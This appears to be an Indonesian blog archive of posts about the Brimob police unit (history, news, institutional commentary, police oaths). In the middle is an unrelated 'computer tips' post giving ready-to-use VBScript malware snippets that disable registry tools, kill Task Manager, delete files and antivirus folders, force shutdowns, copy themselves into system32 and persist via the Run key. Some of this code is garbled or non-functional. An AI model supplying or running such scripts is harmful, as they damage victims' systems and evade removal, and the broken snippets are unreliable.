Senin, 16 Desember 2013

renungan

ORIENTASI INSTITUSI BRIMOB POLRI

Efek langsung dari keberadaan Densus 88 AT adalah makin sempitnya ruang gerak Brimob dalam menjalankan peran dan fungsinya sebagai unit khusus Polri. Apalagi ketika Densus 88 AT mulai dikembangkan di seluruh Polda. Densus 88 AT yang berada di bawah Bareskrim makin leluasa melakukan kerja-kerja gangguan Kamtibmas tingkat tinggi karena memiliki wewenang sama dengan anggota Polri yang berada di unit Reskrim. Pada beberapa kasus penanganan pembalakan liar di Riau dan Kalimantan Barat, Densus 88 AT bersama Reskrim Polda setempat harus ‘bersaing’ dengan Brimob yang juga memiliki tugas dan wewenang yang sama terkait dengan perburuan pelaku pembalakan liar tersebut
Masalah lain yang kemudian mengemuka adalah terjadinya unjuk rasa oleh puluhan anggota Brimob Polda Sulawesi Selatan terkait dengan tidak kunjung cairnya Sisa Hasil Usaha (SHU) dari koperasi di lingkungan Polda Sulawesi Selatan beberapa waktu lalu. Pencairan SHU koperasi tersebut sesungguhnya mencerminkan bahwa masalah kesejahteraan menjadi problem laten bagi anggota Polri di lingkungan Brimob. Belum lagi anggota Brimob dihadapkan pada realitas bahwa kesatuan tersebut sangat jauh dari akses ekonomi. Berbeda dengan unit-unit lain yang ada di Polri, yang relatif masih memiliki akses ekonomi ‘non formal’untuk menutupi keterbatasan pendapatan yang diterima diluar gaji dan tunjangan.
Sebagaimana diketahui unit-unit lain yang ada di lingkungan Polri seperti Lantas, Reskrim, Intelkam, ataupun Samapta cenderung mengandalkan pemasukan ‘non formal’ diluar gaji yang jauh dari cukup. Apalagi pada kenyataannya anggota Brimob juga dipisahkan dari unit lainnya dan jauh dari pusat kota, hal ini makin membuat frustasi anggota Brimob disebabkan oleh keterbatasan-keterbatasan.
Harus diakui bahwa perhatian dan apresiasi terhadap Brimob mengalami pasang surut sejak pembentukannya pada 14 November 1945. Di masa lalu Brimob bahkan pernah hanya dijadikan ‘serep’ dan terkadang ‘tameng’ bagi salah satu kesatuan di TNI pada saat operasi pemadaman pemberontakan. akan tetapi, seiring dengan penguatan kelembagaan Brimob dan makin tingginya intensitas ancaman Kamtibmas, Brimob menjadi salah satu unit yang langsung bertanggung jawab kepada Kapolri. Namun demikian, setelah ancaman terror membutuhkan kesatuan khusus di luar yang telah ada, Brimob kembali mengalami ujian. Korps Baret Biru tersebut harus membuktikan kegemilangan peran dan fungsinya di mata masyarakat sebagaimana yang dilakukan dimasa lalu. Hal yang makin menyurutkan posisi Brimob adalah serangkaian tindak kekerasan yang dilakukan oleh Brimob di daerah konflik, yang dianggap tidak memperhatikan HAM. Bahkan secara tegas Amerika Serikat (AS) dan Australia yang membantu pengembangan pasukan anti terror, Densus 88 AT mensyaratkan agar anggota Densus 88 AT tidak diambil dari anggota Brimob yang pernah ditugaskan di daerah konflik, khususnya Aceh dan Papua.
Mau Kemana?
Harus diakui bahwa keberadaan Brimob Polri merupakan bagian yang tidak terpisahkan dari kelahiran Polri. Bahkan secara legal-formal, pembentukan Brimob lebih dulu dari pada induk organisasinya. Hal ini merupakan bagian dari penghargaan bahwa Brimob merupakan unit pelopor yang berjuang dan mengilhami pembentukan unit-unit lainnya yang ada di lingkungan Polri.
Bila pada awal reformasi, Brimob disetarakan dengan tentara yang melanggengkan penggunaan kekerasan, namun setelah sepuluh tahun reformasi, Brimob dihadapkan pada dua pilihan yang menyulitkan; mengembangkan organisasi dengan peningkatan kualitas SDM atau stagnan dan tergerus oleh dinamika yang terjadi di internal Polri. Pilihan menyulitkan tersebut dikarenakan kedua-duanya mengandung konsekuensi yang sama-sama berat. Pengembangan organisasi dan peningkatan kualitas SDM membutuhkan dukungan dan kebijakan pimpinan Polri yang konsisten dan bervisi ke depan. Di samping itu, mengembangkan organisasi Brimob juga berkonsekuensi pada anggaran yang tidak sedikit. Sementara itu stagnasi Brimob sama saja dengan mengabaikan cita-cita pendiri Brimob. Hal yang mana sama sulitnya untuk dilakukan oleh pimpinan Brimob.
Akan tetapi, dinamika ancaman Kamtibmas dengan intensitas tinggi adalah alasan bagi Brimob untuk memilih mengembangkan organisasi dengan peningkatan kualitas SDM-nya. Pengembangan organisasi dan SDM Brimob setidaknya meliputi, yakni: Pertama, mempertegas status Brimob sebagai unit paramiliter yang berada di bawah Polri. Konsekuensi dari posisi ini Brimob harus pula mengadopsi pendekatan kepolisian dalam tingkatan operasionalnya. Dengan kata lain, Brimob harus secara terbuka menerima masukan terkait dengan karakteristik masyarakat dalam Perpolisian Masyarakat (Polmas), serta penghargaan terhadap HAM,sebagai parameter dari perpolisian demokratik. Sementara di sisi yang lain, pimpinan Polri juga harus benar-benar memperhatikan esensi integralitas Brimob ke dalam Polri. Dengan kata lain, Brimob tidaklagi sekedar ada, tapi diperhatikan segala kebutuhannya.
Kedua, peningkatan kualitas SDM dengan memperhatikan kesejahteraan anggota. Hal ini perlu digarisbawahi agar sebagai anggota unit khusus, anggota Brimob tidak perlu dipusingkan dengan urusan domestik, semisal biaya sekolah anak atau pemenuhan kebutuhan pokok lainnya. Dengan begitu anggota Brimob dengan kemampuan khusus dapat secara fokus menjalankan peran dan fungsinya secara optimal.
Ketiga, perluasan wewenang dan cakupan tugas bagi Brimob, dengan menambahkan dua tugas yakni: penjagaan perbatasan antar negara dan pengamanan perairan. Penjagaan perbatasan ini diasumsikan sebagai bagian integral untuk mengisi zona abu-abu diantara tugas dan wewenang TNI dan Polri. Sebab, secara organisatoris juga TNI telah lama menjalankan perannya di wilayah abu-abu tersebut dengan komando teritorialnya. sementara itu terkait dengan pengamanan perairan untuk mempertegas fungsi pengamanan perairan yang dilakukan oleh Polair. Bila memungkinkan akan dilikuidasi ke dalam Brimob. Sehingga efektifitas kontrol kinerjanya akan menjadi lebih baik.
Keempat, perluasan tugas ini mengandung konsekuensi dengan penambahan jumlah anggota Brimob. Bila memungkinkan pada 15 hingga 20 tahun yang akan datang jumlah anggota Brimob berkisar sekitar 100 ribu personil atau seperenam dari jumlah anggota Polri,yang diperkirakan berjumlah sekitar 600 ribu pada tahun 2025. Jumlah tersebut diharapkan dapat menjawab tantangan Kamtibmas dan Kamdagri secara integral dan komprehensif.
Dengan memperhatikan beberapa hal tersebut di atas, Brimob harus terus melangkah dinamis agar menjadi unit yang tidak hanya menjadi kebanggan internal Polri, tapi juga menjadi kebanggaan bangsa ini. Karena itu kebanggaan terhadap Korps Baret Biru juga harus diiringi komitmen pimpinan Polri untuk mengembangkan unit paramiliter tersebut. Sebab tanpa itu, kebanggaan yang tertanam pada segenap anggota Brimob akan cenderung bersifat semu.

Selasa, 26 November 2013

Napak Tilas Perjuangan Bhayangkara
BANDA ACEH - Sembilan personel Gegana Satuan Brimob Polda Aceh beserta 18 anggota Brimob pendamping mengawali jalan kaki dari Kilometer Nol Indonesia di Kota Sabang, Rabu (21/8) lalu. Kemarin sore, pemberangkatan personel Brimob dalam rangka napak tilas perjuangan Bhayangkara dari Sabang hingga Merauke ini dilanjutkan personel Brimob dari kesatuan lainnya yang dilepas Kapolda Aceh, Irjen Pol Herman Effendi di Mapolda Aceh.
Kapolda dalam amanat saat memimpin upacara pemberangkatan regu beranting ini antara lain mengatakan lahir, tumbuh, dan berkembangnya Polri tak lepas dari sejarah perjuangan kemerdekaan RI. Kemudian, 21 Agustus 1945, barisan polisi istimewa saat itu memproklamirkan diri sebagai pasukan polisi RI yang dipimpin Inspektur Polisi Tingkat I, Mochammad Jasin di Surabaya, Jawa Timur.
Seusai pembacaan amanat, tiga dari sembilan personel Gegana Brimob Polda Aceh menyerahkan tiga bendera kepada personel kesatuan Brimob lainnya di jajaran Polda Aceh. Tiga bendera itu adalah merah putih, panji Polri, dan pataka Brimob.
Penyerahan ini sebagai tanda bahwa perjalanan mereka dari Kilometer Nol, Sabang, sepanjang 12 kilometer sudah berakhir dan dilanjutkan sembilan anggota Brimob inti dan 18 anggota Brimob sebagai pendamping sepanjang 12 kilometer lagi.
Serambinews.com

Komputer Tips : 

Buat Virus Sederhana dengan mudah 

ingin coba, lebih baik gunakan VMware


Virus yang bisa mendisable Registry

Virus yang satu ini mampu mendisable registry. Nah jika ingin mencoba ikuti saja langkah- langkah berikut:

1. Buka Notepad
2. Masukkan script di bawah ini
On Error Resume Next
CreateObject("WScript.Shell").run "cmd.exe /c reg add  hkcusoftware\microsoft\windows\currentversion\poli  cies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide


3. Simpan dengan nama apa saja asal ekstensi .vbs dan format all file (ex : registry123.vbs)



Virus Penghenti Proses

1. Buka Notepad
2. Masukkan Script berikut

On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide


3. Kode diatas untuk menghentikan aktivitas task manager.
4. Save dengan ekstensi .vbs dan format all file



Virus Penghapus file dan folder

1. Buka Notepad
2. Masukkan Script di bawah ini

On Error Resume Next
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe" '(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di  direktory C:\)


3. Contohnya seperti ini :

Contoh :
On Error resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\Program Files\Windows Media Player\wmplayer.exe”
hapus.DeleteFolder “C:\antivirus”


4. Save dengan ekstensi .vbs dan format all file



Virus yang Membuat Restart

1. Buka Notepad
2. Masukkan Script Berikut

CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide


3. Angka 60, adalah waktu yang dibutuhkan untuk shutdown (satuan detik)
4. Simpan dengan ekstensi .vbs dan format all file

Note: Script ini bisa anda kombinasikan dengan virus no.1 pada postingan sebelumnya



Virus yang Membuat Restart dan Shutdown 

1. Buka Notepad
2. Masukkan Script berikut

CreateObject("WScript.Shell").run "shutdown -s -f -t 60", vbhide


3. Angka 60, adalah waktu yang dibutuhkan untuk shutdown (satuan detik)
4. Simpan dengan ekstensi .vbs dan format All File.

Note: Script ini bisa anda kombinasikan dengan virus no.1 pada postingan sebelumnya



Virus yang dapat Mengcopy ke Directory lain 

1. Buka Notepad
2. Masukkan Script Berikut

CreateObject("Scripting.FileSystemObject").
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"


3. Script diatas untuk mengcopy virus ke windows/system
4. Save dengan ekstensi .vbs



Menjalankan virus ketika startup

1. Buka Notepad
2. Masukkan Script


CreateObject("WScript.Shell").RegWrite  "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\Curr   entVersion\Run\virus"
, "c:\windows\system32\virus.vbs"


3. Script diatas untuk menjalankan virus di directory system 32 ketika startup
4. Save dengan ekstensi .reg



Virus Pengubah Password Windows

Apabila, di dalam windows tersebut terdapat akun yang memiliki password login. Anda bisa menggantinya dengan script berikut.

1. Buka Notepad
2. Masukkan Script

@echo off
"%username%" (ini untuk user name)
"ur choice" (passwordnya yang mau dirubah apa)
pause

3. Save dengan format all file dan ekstensi .bat

Ingat ini hanya sekedar share buat pengetahuan aja ya. Buat yang pengen coba-coba mending pakai virtual PC atau VMware

Selasa, 01 Oktober 2013


POLRI DALAM KILASAN SEJARAH
LAHIR, tumbuh dan berkembangnya Polri tidak lepas dari sejarah perjuangan kemerdekaan Republik Indonesia sejak Proklamasi. Kemerdekaan Indonesia, Polri telah dihadapkan pada tugas-tugas yang unik dan kompleks. Selain menata keamanan dan ketertiban masyarakat di masa perang, Polri juga terlibat langsung dalam pertempuran melawan penjajah dan berbagai opersai militer bersama-sama satuan angkatan bersenjata yang lain. Kondisi seperti ini dilakukan oleh Polri karena Polri lahir sebagai satu-satunya satuan bersenjata yang relatif lebih lengkap.

Hanya empat hari setelah kemerdekaan, tepatnya tanggal 21 Agustus 1945, secara tegas pasukan polisi segera memproklamirkan diri sebagai Pasukan Polisi Republik Indonesia dipimpin oleh Inspektur Kelas I (Letnan Satu) Polisi Mochammad Jassin di Surabaya, langkah awal yang dilakukan selain mengadakan pembersihan dan pelucutan senjata terhadap tentara Jepang yang kalah perang, juga membangkitkan semangat moral dan patriotik seluruh rakyat maupun satuan-satuan bersenjata yang sedang dilanda depresi dan kekalahan perang yang panjang.

Tanggal 29 September 1945 tentara Sekutu yang didalamnya juga terdapat ribuan tentara Belanda menyerbu Indonesia dengan dalih ingin melucuti tentara Jepang. Pada kenyataannya pasukan sekutu tersebut justru ingin membantu Belanda menjajah kembali Indonesia. Oleh karena itu perang antara sekutu dengan pasukan Indonesiapun terjadi dimana-mana. Klimaksnya terjadi pada tanggal 10 Nopember 1945, yang dikenal sebagai "Pertempuran Surabaya". Tanggal itu kemudian dijadikan sebagai hari Pahlawan secara Nasional yang setiap tahun diperingati oleh bangsa Indonesia

Pertempuran 10 Nopember 1945.di Surabaya menjadi sangat penting dalam sejarah Indonesia, bukan hanya karena ribuan rakyat Indonesia gugur, tetapi lebih dari itu karena semangat heroiknya mampu menggetarkan dunia dan PBB akan eksistensi bangsa dan negara Indonesia di mata dunia. Andil pasukan Polisi dalam mengobarkan semangat perlawanan rakyat ketika itupun sangat besar.alam menciptakan keamanan dan ketertiban didalam negeri, Polri juga sudan banyak disibukkan oleh berbagai operasi militer, penumpasan pemberontakan dari DI & TII, PRRI, PKI RMS RAM dan G 30 S/PKI serta berbagai penumpasan GPK.

Dalam perkembangan paling akhir dalam kepolisian yang semakin modern dan global, Polri bukan hanya mengurusi keamanan dan ketertiban di dalam negeri, akan tetapi juga terlibat dalam masalah-masalah keamanan dan ketertiban regional maupun internasional, sebagaimana yang di tempuh oleh kebijakan PBB yang telah meminta pasukan-pasukan polisi, termasuk Indonesia, untuk ikut aktif dalam berbagai operasi kepolisian, misalnya di Namibia (Afrika Selatan) dan di Kamboja (Asia). 

Amankan TKP Jibom


UNIT JIBOM SUBDEN 4 GAYO LUES BERHASIL MENGAMANKAN BOM

     Subden 4 Detasemen C Pelopor Satbrimob Polda Aceh sebagai satuan pelaksana di Jajaran Polda Aceh bertugas membina dan mengerahkan kekuatan untuk menindak gangguan kamtibmas berkadar tinggi, umumnya kejahatan terorganisir yang menggunakan senjata api atau bahan peledak yang berskala nasional atau internasional ksususnya Back Up Satuan Kewilayahan Gayo Lues .
    Dalam operasional dilapangan, Subden 4 Detasemen C Pelopor Satbrimob Polda Aceh bertugas atas perintah Pimpinan memberikan bantuan teknis dan taktis dan mendukung permintaan  dari satuan kewilayahan untuk sterilisasi, penjinakan Bom, pengamanan Bom dan benda-benda yang berhubungan dengan bahan peledak/Bom  guna membantu penyelidikan dan penyidikan kasus yang terjadi TKP Puskesmas Kota Blangkejeren tepatnya berdekatan dengan Polsek Kota Blangkejeren.
      Bom aktif berjenis Granat tangan.Bom tersebut ditemukan pada saat Masyarakat sedang menggali tanah untuk pembuatan rehab Puskesmas.Masyarakat yang menemukan Bom tersebut kemudian melaporkan  kepada Kepolisian Resort Gayo Lues. Atas perintah Kabag Ops Polres Gayo Lues melalui Danki Brimob Subden 4 detasemen C Pelopor menyiapkan Tim Jibom dan berangkat menuju TKP penemuan Bom.TKP tersebut berada di pekarangan Puskesmas Kota Blangkejeren Kab. Gayo Lues.Berkat Profesionalitas anggota Tim Jibom Subden 4 Detasemen C Pelopor berhasil mengamankan 1 Buah Bom tersebut.Dari Hasil sementara penyelidikan di lapangan kemungkinan Bom – Bom tersebut bekas peninggalan perang zaman Konflik Aceh.Saat ini Bom – Bom tersebut disimpan sementara di Gudang Handak Detasemen Subden 4 Detasemen C Pelopor di Gayo Lues.

Muhammad Yasin, Bapak Brimob Polri Meninggal Dunia




Indonesia kembali kehilangan putra terbaik bangsa, Muhammad Yasin, yang dikenal sebagai Bapak Brimob Polri. Muhamamd Yasin menghembuskan nafas terakhir pukul 15.30 WIB sore tadi. Almarhum meninggal dalam usia 92 tahun di RS Polri Kramat Jati.

"Beliau meninggal tadi sore tadi, Bapak merupakan salah satu pejuang kemerdekaan kita juga," tutur Humas Mako Brimob Kelapa Dua, AKBP Budiman, saat dihubungi detikcom, Kamis (3/5/2012).

Muhammad Yasin menyandang pangkat terakhir sebagai Komisaris Jenderal Polisi (Komjen Pol). Selain itu, almarhum juga dikenal sebagai Bapak Brimob Polri karena dia sebagai pucuk pimpinan pertama satuan tersebut.

Rencananya, alamarhum akan dikebumikan di Taman Makam Pahlawan Kalibata, Jakarta, Jumat (4/5/2012). Kapolri Jenderal Timur Pradopo akan memimpin upacara pemakan tersebut.

"Besok siang akan dimakamkan di TMP Kalibata, Pak Kapolri akan pimpin upacaranya," terang Budiman.

Dikutip dari situs www.museum.polri.go.id, sosok kelahiran Sulawesi ini menunjukkan prestasi cemerlang ketika menjalankan tugas dari Kapolri Jenderal Raden Said Soekanto Tjokrodimodjo untuk membentuk Brigade Mobil, tahun 1946.

Muhammad Yasin menjabat Kepala Kepolisian di Karesidenan Malang. Kesatuan yang diresmikan pada 14 November 1946 di Purwokerto ini berjasa mengatasi ancaman keamanan dan ketertiban seperti pada peristiwa Agresi Militer Belanda dan APRA (Angkatan Perang Ratu Adil) di Bandung, serta pengamanan jalan di wilayah Jawa Barat dari ancaman gerombolan DI/TII .


Sumber : detik.news.com

Senin, 30 September 2013

TRI BRATA, CATUR PRASETYA, JATI DIRI BRIMOB, ETIKA PROFESI BRIMOB

TRI BRATA
KAMI POLISI INDONESIA
         1.  BERBHAKTI KEPADA NUSA DAN BANGSA, DENGAN PENUH KETAQWAAN TERHADAP
              TUHAN YANG MAHA ESA.
        2.  MENJUNJUNG TINGGI KEBENARAN, KEADILAN DAN KEMANUSIAAN DALAM MENE
             GAKAN HUKUM NEGARA KESATUAN REPUBLIK INDONESIA YANG BERDASARKAN
             PANCASILA DAN UNDANG-UNDANG DASAR 1945.
        3.  SENANTIASA MELINDUNGI, MENGAYOMI DAN MELAYANI MASYARAKAT DENGAN
             KEIKHLASAN UNTUK MEWUJUDKAN KEAMANAN DAN KETERTIBAN.
  CATUR PRASETYA
SEBAGAI INSAN BHAYANGKARA KEHORMATAN SAYA ADALAH BERKORBAN DEMI MASYARAKAT, BANGSA DAN NEGARA UNTUK,
        1.   MENIADAKAN SEGALA BENTUK GANGGUAN KEAMANAN.
        2.  MENJAGA KESELAMATAN JIWA RAGA, HARTA BENDA DAN HAK ASASI MANUSIA .
        3.   MENJAMIN KEPASTIAN BERDASARKAN HUKUM.
        4.   MEMELIHARA PERASAAN TENTERAM DAN DAMAI.

JATI DIRI BRIMOB
       1.   BEKERJA KERAS CARAKU.
       2.   RHIDO ALLAH HARAPANKU.
       3.   IKHLAS DALAM MELAKSANAKAN TUGAS.
       4.   MENGABDI TUGAS KEWAJIBANKU.
       5.   OPTIMIS CARA BERPIKIRKU.
       6.   BERSYUKUR CARA BERTERIMA KASIHKU.

ETIKA PROFESI BRIMOB
       1. DISIPLIN YANG TINGGI
       2. JIWA KORSA YANG KUAT
       3. SEMANGAT JUANG YANG ULET
       4. IKATAN KESATUAN YANG KONSISTEN
       5. PEKA DAN RESPONSIF